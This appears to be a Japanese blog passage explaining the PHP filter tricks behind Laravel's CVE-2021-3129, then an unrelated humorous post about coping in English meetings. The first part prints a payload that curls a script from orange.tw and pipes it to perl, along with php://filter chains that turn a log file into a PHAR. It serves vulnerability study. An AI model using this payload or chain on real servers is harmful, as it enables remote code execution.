$ echo -n '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64 -w0
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
$ echo -n 'QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v' | base64 -w0
UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
echo -n 'UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2' | base64 -w0
VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy

これにupload_progress(とpadding)のprefixを付けて一度 convert.base64-decode すると以下になります。

��hi�k� ޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2

一度デコードしたらUUR3から始まるはずなので、やはり先頭にまだ hikY のゴミが残っています。印字できない部分などは次の convert.base64-decode で無視してくれるため2回目のデコードは hikYUU3L... の箇所が対象になります。

2回目のデコード結果は以下です。

) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

QDw/c から始まる文字列がエンコードした値なので、それより前には無効な文字列しかなくなりました。つまりもう一度デコードすると QDw/c の箇所がデコードされます。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

ということで無事に元々のスクリプトに戻りました。つまり最終的には以下のような値をファイル名として渡します。

php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_iamorange

単に3回Base64デコードしているだけです。自分の環境に合わせて /tmp/sess_ にしていますが、別環境では /var/lib/php/sessions/sess_ かもしれません。

正解スクリプトについても公開してくれています。上でも説明したようにすぐにセッションが消えてしまうため2つのリクエストを飛ばしてrace conditionを起こす必要があります。自分でも試しましたがタイミングはあまりシビアではなくほぼ成功します。

github.com

あとは PHP_SESSION_UPLOAD_PROGRESS としてBase64を3回したペイロードを渡しています。これがセッションファイルに書き込まれます。そのファイルが存在しているタイミングでうまく php:// ラッパーのリクエストが到達すれば、攻撃が成功します。

本題

改めて見返すと前提長くない...?という感じですが、ようやく本題です。上のCTFの問題で公開された手法によって攻撃条件が緩和しました。ファイル全体を制御できていなくても、ファイルの一部書き込めてそのファイルを php:// で読み取って書き込めれば攻撃が成立します。

  1. サーバ上のファイルの一部でも良いから任意の文字列を書き込める
  2. そのファイルに対して php:// ラッパーを用いて読み書きができる
  3. 2で上書きしたファイルを phar:// で読み込ませることが出来る

そして実際Laravelではこれを満たすことが出来る状態でした。Larvel固有の話はまた別途ブログにしようと思うので今回は省略しますが、3つの条件を満たしているにも関わらず攻撃が成立しなかったため色々な制約をバイパスして攻撃を成立させたというのがCVE-2021-3129になります。CTFの問題を現実の攻撃に昇華させているというのが面白いなと思います。

長くなったので改めて解説のブログを貼っておきます。脆弱性としてはデバッグモードが有効でないと刺さらないので、ちゃんと本番では無効にしましょうという話で終わりです。もちろんバージョンを上げても直ります。危険な脆弱性であると言うよりはその詳細が面白かったという話です。

www.ambionics.io

基本的に上のブログで説明されている内容になりますが、実際に試して理解した内容を自分の言葉で書き直しています。そうしておくと自分が将来見直した時に理解しやすいからですが、一次ソースを当たりたい方は上のブログを参照してください。

まず、LaravelはデフォルトでPHPのエラーとスタックトレースをログファイルに出力します。さらにLaravel(正確には内部で使われているIgnition)ではリクエストで受け取ったファイル名に対して操作を加える機能があります。この時、存在しないファイル(今回の例ではSOME_TEXT_OF_OUR_CHOICE)を受け取ると以下のようなエラーが出力されます。単なるNo such file or directoryです。

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

エラーメッセージの中にファイル名が出力されていることが分かります。このファイル名は攻撃者が制御可能なパラメータであるため、ログファイルに任意の文字列を書き込めることになります。これで条件1が成立しています。

次に条件2なのですが、デバッグモードを有効にしていると使われるライブラリのIgnition内に以下のような処理がありました。実際には当然前後で色々やっていますが簡素化しています。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまりユーザから受け取ったパラメータを file_get_contents に渡し、それで得た値を再度 file_put_contents を使って書き戻しています。普通だとただそのままの値になるわけですが、 php:// ラッパーを使うことでBase64エンコード・デコードなどの処理を挟ませることが出来ます。 php:// で好きな文字列を書き込んだりは出来ないのでファイル全体の制御はできないのですが、うまくfilterを使えば上のOrangeさんのテクニックで好きな値を書き戻せます。つまりPHARとなるように書き戻してあげればOKです。

そして条件の3ですが、上と同じで受け取ったパラメータを file_get_contents に渡してくれるので phar:// で書き戻したファイルを指定するだけです。今回の例ではログファイルになります。

ということはこの時点で理論的には任意コード実行が成立するはずです。しかし、多くの理由でそれは成立しませんでした。

問題点

= によるエラー

上の解説では convert.base64-decode は無効な文字列を無視すると言いましたが実は例外があります。それが = です。本来は最後にパディングとして入れるBase64における65文字目の存在ですが、これが最後ではなく文字列の途中にあるとエラーになります。

試してみます。適当にエンコードした文字列の間に = を挟んでみます。

root@b4fc2e6f0d2a:/var/www/html# echo test | base64
dGVzdAo=
root@b4fc2e6f0d2a:/var/www/html# echo dGV=zdAo= > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
PHP Warning:  file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

エラーが出ました(実際にはWarningですが)。つまりデコードを複数回する中で、偶然 = が文字列中に現れると失敗するということです。もしファイル内の文字列全体を制御できるなら = が出ないようにすれば良いので問題ないのですが、今回のような例ではファイル名の前には日付などのプレフィックスがありますし、ファイル名の後ろには長いスタックトレースがあるためこれらの中に = が含まれてしまう可能性は高いです。さらにファイル名も2回出力されています。

ちなみにこの = がデコード文字列内に現れると困るよね、という話は既知だったようでOrangeさんのブログでは触れられていませんがスクリプト内ではペイロード= が含まれないようになるまで作り直す処理が入っていたりします。

My-CTF-Web-Challenges/exp_for_php.py at ece9c25c9f1dba65cce5a12a8fc174652fa352e6 · orangetw/My-CTF-Web-Challenges · GitHub

日付のデコード

今回はファイル名の前に日付と時刻があります。そして当然時刻はログが出力されるタイミングによって異なります。厄介なことに日付は2回デコードした場合に長さが異なる場合があります。

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

下の例では2回デコード後の結果が 2 になっています。もう1回デコードすれば消えるんじゃないの?と思うかもしれませんが、先程ZZのパディングの例でも話したように 2 が先頭につくとアラインメントがずれてしまいます。つまりその後は何回デコードしても本来の文字列はもう出てきてくれません。

ログファイル内の他エントリ

先程のPHPセッションの例とは異なり、ログファイルは1エントリのみ書かれているわけではありません。つまり前後に他のエントリがあるとデコードは高確率で失敗します。

バイパス方法

実際に発見者が直面した問題点について説明してきましたが、ここではそのバイパス方法について説明します。その前にまずログのフォーマットを整理します。

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

という形式になっています。そして上述したように対象のログエントリの前にもエントリは存在します。そして同じエントリ内にPAYLOADは2回出現しています。このPAYLOADの部分だけをうまく取り出すのがゴールです。

consumedの利用

上述したように、Ignitionではラッパーを含むURLを受け取ったらそれをファイルの読み取りと書き込みの両方で使っています。つまり php:// ラッパーでできる範囲であればファイルの改竄が可能ということです。そして php:// で使えるフィルタの中に consumed というものが存在します。PHPの公式ドキュメントですら説明を見つける事ができなかったのですが、入力(または出力)をクリアしてくれるようです(ドキュメント見つけられなかったので正しいか不安)。

php://filter/read=consumed/resource=/path/to/file.txt

つまり consumed フィルタを使ってログファイルを読み取れば、空にして書き戻してくれるのでログファイルをクリアできる...ということだと思います。違っていたらすみません。他にも大量にリクエストを送ることでログのローテーションを起こさせてログファイルを綺麗な状態にする方法もあるようですが、1回あたりの試行に時間がかかりますしログファイルがクリアされるタイミングもシビアな気がします。

とりあえず consumed を使うことで前後のログエントリ問題は解決です。攻撃前に一度ログファイルをクリアすれば済みます。

iconvの利用

次に = 問題を見ていきます。 php:// ので使えるfilterの中に iconv も存在しています。これはちゃんとドキュメントも見つかりました。

www.php.net

上のドキュメント内の例を引用します。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* 出力: This is a test. */
?>

このようにエンコーディングの変換ができます。Base64のときと同じ考え方で、自分たちの書き込むPAYLOADはエンコーディングの変換に適した形にしてあげることで、prefixやsuffixはASCII外の文字列に変換することが出来ます。見たほうが早いと思うのでやってみます。

$ echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test
$ php -a -q
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

素晴らしい結果です。PAYLOADだけが正常な値になって、それ以外はBase64として無効な値になっています。つまり邪魔なprefixやsuffixを一気に排除できます。

ちなみに iconv を使ったバイパス方法はCTFでも出されているようなので、こちらも有名なテクニックなのかもしれません。自分はCTFやってなくて知らなかったのでなるほどなーとなりました。

gynvael.coldwind.pl

パディングの利用

もう一つの問題点はPAYLOADが2回表示されている点です。最終的にPHARとして有効な形にする必要があるため、2回繰り返されると困ります。そのため2回目は除去する必要があります。しかしこれはUTF-16が2バイトであることを考慮すると簡単に解決できます(一部4バイトですがいずれにせよ偶数なので今回は影響なし)。つまりPAYLOADの最後に1バイトだけ足すことで2つのPAYLOADの間のサイズを奇数バイトにします。ただこれ元々midfixが奇数バイトなら不要な気がしますが、その辺りの説明はなかったので理解が正しいか若干不安です。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

この例では [midfix] は8バイトなので1バイト足すことで2個目のPAYLOADのアラインメントがずれASCII文字ではなくなります。これの素晴らしい点は、仮にprefixが奇数だとしたら逆に2つめのPAYLOADのアラインメントが正しくなるという点です。つまりprefixの偶奇によらず片方だけがうまくデコードされます。

あとはもはや恒例のBase64が無効な文字を無視してくれる機能を組み合わせれば狙った文字列だけ残してデコードできます。Base64エンコードした文字列の各文字の後ろに\0を足すだけです。それをエンコーディング変換してBase64デコードすればOKです。

$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
$ php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
TEST!

UTF-16のための調整

UTF-16が2バイトの倍数である必要があることを考えると、ログエントリ全体のサイズが2バイトの倍数じゃない場合はどうなるでしょうか?prefixに1バイト足して全体を奇数バイトにして確認します。

root@b4fc2e6f0d2a:/var/www/html# echo -ne '![Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test
root@b4fc2e6f0d2a:/var/www/html# php -a
Interactive shell

php echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test');
PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1

Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
TEST!

Warningが出ています。発見者ブログではこれが問題だと言っていたのですが、自分の環境ではWarning出てもそれ以外の箇所はうまくデコードできていました。php.iniでstrict的な設定を入れていると失敗するのかもしれません。一応この問題への対策もブログ内で触れられています。それはエントリを2つ作ることです。

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

このように2回リクエストを送るとエントリが2つになりますが、prefix, midfix, suffixは2回ずつ現れていてPAYLOAD_AとPAYLOAD_Bも2回ずつ現れているので全体は必ず偶数になります。PAYLOAD_AはBase64デコードで消えてほしいので適当にAAとかを送っておいて、PALOAD_Bの方をPHARになるようなペイロードにします。

個人的にはPAYLOAD異なるしmidfixやsuffixが異なる可能性ないの...?と思ったのですが、同じ箇所で落ちるのでエラーメッセージやスタックトレースも同じになるということかなと理解しています。試した感じは確かに同じになっていそうでした。いずれにせよこれで全体のサイズを偶数にすることが出来ました。

NULLバイトの回避

そして最後の問題としてNULLバイトが入っているファイルをロードすると失敗するという点を挙げています。これは少しややこしいですが、 php:// ラッパーでの処理時の話ではなくログに書き込む際の話です。存在しないファイルとしてログファイル内にエラーを出して欲しいのにNULLのせいで失敗し、目的のエラー箇所まで到達しないということだと思います。つまり異なるエラーメッセージになります。

php > $filename = "[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]";
php > file_get_contents($filename);
PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

上でログファイルに任意の文字列を書き込めると言いましたが実際には正しくなくて、NULL以外の任意の文字列が書き込める状態でした。発見者はここでもfilterを活用しています。 covert.quoted-printable です。ドキュメントもあります。

www.php.net

RFC2045の仕様に従ってエンコード・デコードをしてくれます。例が分かりやすいです。改行などの印字可能でない文字を = に続けて16進数を書くことで印字可能文字で表現できるようにしてくれるようです。

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs:  =This is a test.=0A  */
?>

一応RFCを貼っておきます。6.7 Quoted-Printable Content-Transfer-Encodingの箇所だと思います。

datatracker.ietf.org

これを使うことでNULLバイトは =00 で表現できるようになり、NULLバイトを使う必要はなくなります。

最終形

上で述べたバイパス方法のうちfilterに関するものをまとめると

  1. convert.quoted-printable-decode でNULL文字の制限をバイパスする
  2. convert.iconv.utf-16le.utf-8 を使ってペイロード以外のゴミをBase64として無効な文字列にする
  3. convert.base64-decode を使って2で無効にした文字列を無視する

という流れになります。filterは以下のようになります。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

ペイロード側の工夫としては以下になります。

  • 2回現れるペイロードのうち片方のアラインメントがずれるようにペイロードの最後に1バイト足す
  • UTF16として正しい値にするためにバイト数を2の倍数にする必要があるので、正常なリクエストと異常なリクエストを1つずつ送ってバイト数を偶数にする

ペイロードの詳細はCVE-2021-3129の解説記事で書こうと思うためここでは述べませんが、

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. そのペイロードをファイル名として送りつけログファイルに書き込ませる
  4. php:// を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  5. 4によってログファイルはPHARになっているため、 phar://を使って読み込む
  6. Metadataのデシリアライズにより攻撃が刺さる

という流れです。

まとめ

ペイロードの工夫の箇所はLaravel固有のものがあるかもしれませんが、filterの工夫の箇所は他でも応用が効くと思ったので紹介しました。実際一部のテクニックはCTFで出題されていました。CTFのテクニックが実際の脆弱性に応用されているのも面白いですし、現実の脆弱性はそれに加えて泥臭い工夫が色々必要になるというのがよく分かる攻撃方法でもあって個人的にはかなり好きです。

求められる前提知識が多いので途中で読むのを諦めてこのまとめに辿り着いた人は少ないかもしれませんが、もし何かの参考になれば幸いです。

英語ミーティングを乗り切るために身につけたバッドノウハウ

周りを見ていると何の苦もなく英語社会に適応しているわけですが、日々苦しんでいる人の奮闘記があっても良いのではないかと思って書きました。残念なエピソードを晒すことで実は自分もこうやって乗り切ってましたという人が現れお互いに助け合えることを期待しています。

概要

英語がさっぱり分からない状態のまま日本人が0の会社に入ってあっという間に2年以上経ちました。未だに日本人は自分一人ですし英語もさっぱり分からないのですが、そんな状態でよくやれてるなと最近色々な人から言われたので苦戦する中で身につけたバッドノウハウを書いておきます。バッドノウハウは以下のような定義で使っています。

バッドノウハウとは、本質的には生産性はないものの、問題解決のために必要になってしまうようなノウハウのこと。

makitani.net

つまり、英語力をあげようとかそういう本質的なことは一切言わず小手先なことを書いています。自分でもバッドノウハウと言ってますし「そんな小手先のことやってるから英語力が伸びないんだ」みたいなマジレスをされると死に至るのでやめてください。

冗談半分みたいな内容なのでネタ記事だと思って読んでください。学校や本で教わるような内容ではなく生き抜くための知恵みたいなやつです。参考にはしないでください。

出来ないとか言ってるくせに海外住んでるし何やかんやうまくやれてるんだろうみたいな疑惑をかけられることがあるのですが、「こいつマジだわ」と思ってもらえる内容だと思います。

誤解のないように強調しておきますが、出来なくて良いと言っているわけでは決してないです。急にそういうチャンスが転がってきた時に「今はまだ英語出来ないから今回は見送って次の機会までに勉強しよう」となるともったいないので、飛び込んでみて成長するまで何とか気合いでしがみついていこうという内容です。

前提

英語は全体的に不得意な方ですが、典型的日本人なので読み書きは最低限できます。ただスピーキング・リスニングは壊滅的です。特にリスニングはもう10年以上前になりますがセンター試験ではずっと平均点を切っていました。50点満点で26-28点ぐらい。つまり平均的高校生より出来ないということです。大学進学を目指している周りの人は平気で48-50点をとっている中で、自分は30点の壁が破れない...などと言っていました。もし自分は平均ぐらいはあると思う、という方は少なくとも自分よりは優秀です。

予備校の英語講師には自分の長い講師歴でこんなに模試で低い点数をとった人は初めて見た、と言われました。120点満点中42点で偏差値も同じ42だったのをよく覚えてます。長年有名予備校の講師をやっている人の最低を更新するのは逆に凄いんじゃないか?とも思いましたが、普通に落ち込みました。さすがに一人ぐらい自分より低い人いただろ、と思いましたが偏差値42だったので優秀なクラスを担当している講師だとあり得るかもなという感じです。

そこからTOEICなどは全く受けずに生きてきて、院試でTOEFLを受けさせられたのですが苦手とか言ってた周りの人間より自分が一番低い点数を叩き出しました。他にもTOEIC勉強せずに受けたからやばかったわーとか言って満点近く取ったりするような人間が周りに多かったので、英語関連の試験からはひたすら逃げ続けました。

脱線しましたが、英語本当にできないんだなというのが理解できてもらえたかと思います。読み書きは最低限できるので底辺だとは思っていませんが、海外で働くために必要なスキルは全く持ち合わせていません。

英語の残念エピソードは無限に持っています。

バッドノウハウ

では全く本質的ではない方法について話します。本当はもっとたくさんあるはずなので思い出したら追記します。

質問編

まず前提として質問は多くの場合聞き取れません。そういうときの対策です。

聞き取れなかった時にSorry?と聞き直さない

聞き取れなかった時に"Pardon?"と言うと学校では習いましたが実際には自分は聞いたことがありません。もちろん使われるシーンはあると思うのですが、"Sorry?"と聞き直されることのほうが多いです。あとはある程度関係性がある場合は"What?"と言われたり、"ちょっと分からなかった”とか"もう一度言って"みたいに言われることが多いです。

特に多いのは"Sorry?"だったので、自分も何となく使っていたのですがとある弱点に気付きました。それは、何となくこなれた感じを出してしまうことで相手は同じスピードでもう一度言うということです。日本語だと「え?」と聞き直すときは大抵ちょっと聞き逃したぐらいのノリなのでもう一度言ってもらえれば理解できますが、英語においてはその限りではありません。

つまり同じスピードでもう一度言われても同じぐらい聞き取れないということです。何なら自分は3回ぐらい聞き直しても全く同じように聞き取れないです。日本語で「昨日の夜さー」「え?」と聞き直されて「きーのーうーのーよーるーさー」とゆっくり言い直さないと思います。それと同じで"Sorry?"と聞くと「え?(ごめんちょっと集中してなくて聞き逃してしまった)」ぐらいのニュアンスになっているように感じます。

同じスピードでもう一度言ってもらうのは完全に時間の無駄なので、"もう一度ゆっくり言ってくれない?"とか次で説明するように聞こえたところを繰り返すほうが良いと思います。

日本語で「スミマセン、モウイチドオネガイシマス」と言われたら次はゆっくり言おうと思うはずなので、"モウイチドオネガイシマス"と英語で聞き返すことで「あ、こいつ得意じゃないんだな」と初手で理解してもらいましょう。

聞こえたところまで繰り返す

上の話と関連するのですが、仮に "Do you know XXX?"と聞かれてXXXが聞き取れなかったとします。この時に"Sorry?"と聞くと"Do you know XXX?"と言われて同じことの繰り返しになります。では自分がどうするかと言うと"Do you know...what?"のように聞き取れなかった部分を明確にして返します。そうするとXXXの部分だけ強調して言い直してくれる確率が高いです。ネイティブだと"Do I know...what?"みたいにyouをIにきちんと置き換えたりしてきますが、英語弱者にそんな余裕はないので聞き取れたところをオウム返しでも良いと思ってます。余裕があれば気をつけましょう。

基本的に英語は音が繋がるので文章だと聞き取れないけど単語だと聞き取れることが発生します。つまり聞き取れる確率が少し上がります。そこだけ強調されても分からない時は知らない単語だったり音を間違えて覚えているので、今度は"XXX?"と聞くと言い換えて説明してくれます。それでも分からなければ諦めましょう。

可能性のある質問全てに答える

質問をされた時に何個か単語は聞き取れて何となく聞きたいことの方向性は分かった。しかし可能性が複数あって一つに絞り込めない、という場合は上のように聞き直す方法もありますが、候補が2-3個まで絞れているなら全てに回答してしまうという手があります。クイズの早押しみたいな感覚です。

「2019年に新たにポルトガル世界遺産に登録された...」ぐらいまで問題が読み上げられたら「ブラガのボン・ジェズス・ド・モンテ聖域」と「マフラの王家の建物」!!と答えてしまうイメージです。クイズでは正解は一つですが会話では複数答えて一つがヒットすればOKです。問題文は実際には「2019年に新たにポルトガル世界遺産に登録されたもののうちブラガにあるのは?」だったかもしれませんがそこまでは聞き取れなかったので両方カバーしておきます。

ちなみに3パターンぐらい回答しても全て見当違いで"お前は何を言ってるんだ?"状態になることもよくあるので気をつけてください。諸刃の剣です。

Do you mean ~ ? で可能性を潰していく

日本語で「つまり〜ということ?」みたいに聞く時は齟齬がないように最終確認のような意味合いだと思いますが、英語における自分の使い方は違います。全然聞きとれず候補も絞り込めない、しかし何となく単語はいくつか聞こえた、という時に自分の中で仮設を立てて一か八か"Do you mean XXX?"のように聞きます。ほぼ間違っているわけですが稀にヒットすることもあり、そうなればギャンブルに勝利です。仮に間違っていても"No, no, no, YYY~"と間違っている部分を強調して話してくれるので聞き取れる確率が上がります。あとはそれも聞き取れなかったとしても、少なくともXXXの可能性はなくなったわけで、次は "Do you mean ZZZ?" と聞いていくことで次々に可能性を潰していけます。もちろんそうやっていって最後"Yes"の回答が貰えれば理解をより確実に出来るメリットもあります。

これがなぜ必要になるかと言うと、何度も"もう一度言ってくれない?"と聞き返すと気まずくなるからです。もう一度言って?は1,2回が限界なので残機を使い果たしてしまったら上の方法やこちらに切り替えるイメージです。

うかつにYES/NOで答えない

自分は良く分からない時は大体YES!!と答えています。

それを逆手に取られると困るという話をツイートしていますが、実際にはそもそもYES/NOで回答できる質問ではない場合もあります。そういう時にうっかりYES!!と言うと"いやいや..."となるので気をつけましょう。最初に5W1Hがついている場合はYES/NOの質問ではない可能性が高いので、最初の一単語目に注意しましょう。

他人に振ってみる

質問を受けたものの内容が全く聞き取れなかったとします。そういう時の新たな手法として他人に丸投げするというのがあります。"今の質問についてあなたはどう思う?"と全然関係ない人に振ります。そしてその人が回答している間に情報をひろ集めて元の質問を推測していきます。つまり質問者に聞き直すことで情報量を増やすのではなく、他人に転送することで情報量を増やす高等テクニックです。

良い質問ですねぇを使う

これも質問が分からなかった時の話です。"良い質問ですねぇ"と言った上で"今は回答を持ち合わせていない"等と適当なことを言ってお茶を濁します。

何か言いそうな雰囲気を出して時間を稼ぐ

これはもはや質問に答えない方法です。質問も分からないし打つ手なしとなった時に何か言いそうな雰囲気を出してひたすら無言で耐えます。単に無言だと聞こえてる?となりますが、何か言いそうな雰囲気を出すことで待ってもらえます。「しづる池田 インタビュー」で調べると分かりやすい動画が出ると思います。無言で顔芸で頑張ってもいいですし、"well..."とかそれっぽいことを言っても良いです。

このテクニックの何が嬉しいのかというと、自分の他に詳しい人がいたら回答してもらえる可能性があります。つまり"俺が答えるよ"という人が現れるまで時間を稼ぐテクニックです。質問者は自分に聞いたけど他の英語強者が答えてくれるというやつですね。日本語の研究発表で質問が難しすぎて大学の教授に代わりに答えてもらうやつはかなり辛いですが、英語の場合はそもそも質問すら聞き取れてないので潔く諦めましょう。

そしてもう一つ大きいのは、何か言いたそうだけど言わない姿勢を見せることで質問者側も"答えづらいのかな?"と思ってくれます。そして"ちょっと聞き方を変えるね"と言って別の切り口で質問してくれたりします。実際はただ何も聞き取れていないだけなのですが、もう一度相手がボールを持ってくれるのでチャンスが広がります。

発言編

先程までは聞かれるなど受け身の話でしたが、自分から何か発言する場合についてのテクニックを書いておきます。

How are you?を速攻でキメる

"How are you doing?"や"How’s it going?"など何でも良いのですが、ミーティング開始と同時に速攻で挨拶をします。これで無事にミーティング中に一言話すという目的を達成したのでやるべきことの8割は終わりです。

自分は中島 聡さんの「なぜ、あなたの仕事は終わらないのか スピードは最強の武器である」という本が好きなのですが、その中で「ロケットスタート時間術」という仕事術が出てきます。

https://www.amazon.co.jp/dp/B01GPCKJWK/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1

これは10日で仕上げるタスクであれば、2割に当たる2日間で8割終わらせるつもりで取り掛かるというものです。仕事が終わらない原因の9割を占める「締め切り間際のラストスパート」を防ぐため、最初からスタートダッシュをかけることで時間の見積もりを正確に行います。この2日間で仕事が8割終わっていれば予定通り終わりそうということで残りの8日間は流しつつ2割を仕上げますし、8割終わっていなければスケジュールの変更を早い段階で決断できます。

開幕How are you?も同じです。ミーティング中に一言も話さないと何も仕事をしなかった感じになりますが、少しでも話すだけで何かやった感じがあります。つまり初手にその目的を達してしまうことでミーティングの残りは流せます。自分はこれを「ロケットスタート英語ミーティング術」と読んでいます。

冗談半分で書いてますが、実際最初に何か少し挨拶でも良いから発言しておくことでその後話しやすくなります。ずっと無言だったのに急に発言するのは勇気がいりますし、周りも「あいつ急に話し出したぞ」と驚かずに済みます。

Can you hear me? Can you see my screen? に率先して答える

上で述べたように最初にミーティングにおける仕事の8割を終わらせているため、あとは2割です。そんな時、最近はリモート会議も多いと思うので最適な場面があります。それが"Can you hear me?"と"Can you see my screen?"です。大体1度か2度は聞かれます。その隙さえ見つければこちらのものです。率先して答えることで10割を達成できます。

話す隙があれば少しでも話すということです。そしてミュートのまま話し続けている人がいれば"ミュートになってるよ”と言えばもう勝ち確定です。もはやオーバーワークです。

How are you?にHow are you?で返す

万が一先手を取られて"How are you?"を相手に出されてしまった時の対策です。"I'm fine"とかより"I'm good"とか"I'm doing good"の方が多いわけですが、いつも同じ感じになってしまってそこそこ返しに困ります。そういう時は逆に"Hey! How are you?"とオウム返ししてしまうテクニックが使えます。もちろん"How's it going?"とか"What's up?"とか少し変えても良いです。"What' up?"と聞かれると"Nothing much"などと答えるべきなのかいつも悩むのですが、最近は"What's up?"返しで乗り切っています。

